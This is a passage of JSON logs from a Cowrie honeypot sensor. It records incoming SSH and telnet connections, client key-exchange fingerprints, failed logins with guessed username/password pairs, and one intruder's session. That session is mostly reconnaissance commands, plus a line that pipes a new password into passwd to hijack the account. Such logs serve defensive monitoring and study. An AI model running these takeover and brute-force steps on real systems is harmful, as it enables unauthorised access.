s256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:58.387785Z","src_ip":"186.13.24.118","session":"c688c4df15ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37644,"dst_ip":"159.203.135.109","dst_port":22,"session":"48d84807be72","protocol":"ssh","message":"New connection: 159.203.92.129:37644 (159.203.135.109:22) [session: 48d84807be72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:58.466137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:58.470365Z","src_ip":"159.203.92.129","session":"48d84807be72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:58.474394Z","src_ip":"159.203.92.129","session":"48d84807be72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"222222","message":"login attempt [angel/222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:58.483788Z","src_ip":"159.203.92.129","session":"48d84807be72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:59.091661Z","src_ip":"186.13.24.118","session":"c688c4df15ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:53:59.489363Z","src_ip":"159.203.92.129","session":"48d84807be72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:00.263403Z","src_ip":"186.13.24.118","session":"c688c4df15ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:00.493360Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:00.497083Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.57124328613281,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:00.504659Z","src_ip":"209.159.146.115","session":"4ed2aa617a11","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:00.666359Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:01.039852Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadmin\\n8wKLmwdmr7AB\\n8wKLmwdmr7AB\"|passwd|bash","message":"CMD: echo -e \"adminadmin\\n8wKLmwdmr7AB\\n8wKLmwdmr7AB\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:01.043807Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:01.048028Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:01.051849Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ffcf3336db6487661eb8bd97f5d1b8bccb72a4562592c990929a041ff5022152","size":32,"shasum":"ffcf3336db6487661eb8bd97f5d1b8bccb72a4562592c990929a041ff5022152","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ffcf3336db6487661eb8bd97f5d1b8bccb72a4562592c990929a041ff5022152 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:01.223491Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54642,"dst_ip":"159.203.135.109","dst_port":23,"session":"25c8420875aa","protocol":"telnet","message":"New connection: 209.159.146.115:54642 (159.203.135.109:23) [session: 25c8420875aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:01.392088Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:01.598655Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadmin\\n8wKLmwdmr7AB\\n8wKLmwdmr7AB\\n\"|passwd","message":"CMD: echo \"adminadmin\\n8wKLmwdmr7AB\\n8wKLmwdmr7AB\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:01.602314Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2af044dcb9ba6ca43fc2fc8b7c7d329e1d1004d0a9bfb6b43f7afadf811decde","size":25,"shasum":"2af044dcb9ba6ca43fc2fc8b7c7d329e1d1004d0a9bfb6b43f7afadf811decde","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/2af044dcb9ba6ca43fc2fc8b7c7d329e1d1004d0a9bfb6b43f7afadf811decde after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:01.770616Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:02.188308Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:02.192435Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53742,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2da55d99bc","protocol":"telnet","message":"New connection: 209.159.146.115:53742 (159.203.135.109:23) [session: db2da55d99bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:02.242655Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:02.363440Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:02.734257Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:02.737118Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:02.905666Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:03.283762Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:03.287350Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:03.290434Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:03.461626Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35116,"dst_ip":"159.203.135.109","dst_port":23,"session":"407328482cc7","protocol":"telnet","message":"New connection: 209.159.146.115:35116 (159.203.135.109:23) [session: 407328482cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:03.772302Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:03.870521Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:03.873976Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36176,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bbeb7d57200","protocol":"telnet","message":"New connection: 209.159.146.115:36176 (159.203.135.109:23) [session: 2bbeb7d57200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:03.914373Z"}
{"eventid":"cowrie.session.closed","duration":32.88581466674805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:04.020297Z","src_ip":"209.159.146.115","session":"ca4841f53fbb","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:04.045630Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.63411021232605,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:04.252521Z","src_ip":"209.159.146.115","session":"bfc52e33e7f7","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:04.424880Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:04.428782Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:04.598518Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40828,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4b936024cba","protocol":"telnet","message":"New connection: 209.159.146.115:40828 (159.203.135.109:23) [session: a4b936024cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:04.705933Z"}
{"eventid":"cowrie.session.closed","duration":32.314775466918945,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:04.809595Z","src_ip":"209.159.146.115","session":"2402352581d6","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:04.981091Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:04.985210Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:05.153723Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:05.528972Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:05.532471Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:05.705003Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:06.084592Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:06.088191Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.69511699676514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:06.111780Z","src_ip":"209.159.146.115","session":"ddeed688bd48","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:06.259885Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:06.630236Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:06.633839Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:06.804112Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:07.185924Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:07.189241Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:07.359987Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:07.736304Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:07.739953Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:07.909969Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:08.286622Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:08.290354Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:08.462029Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
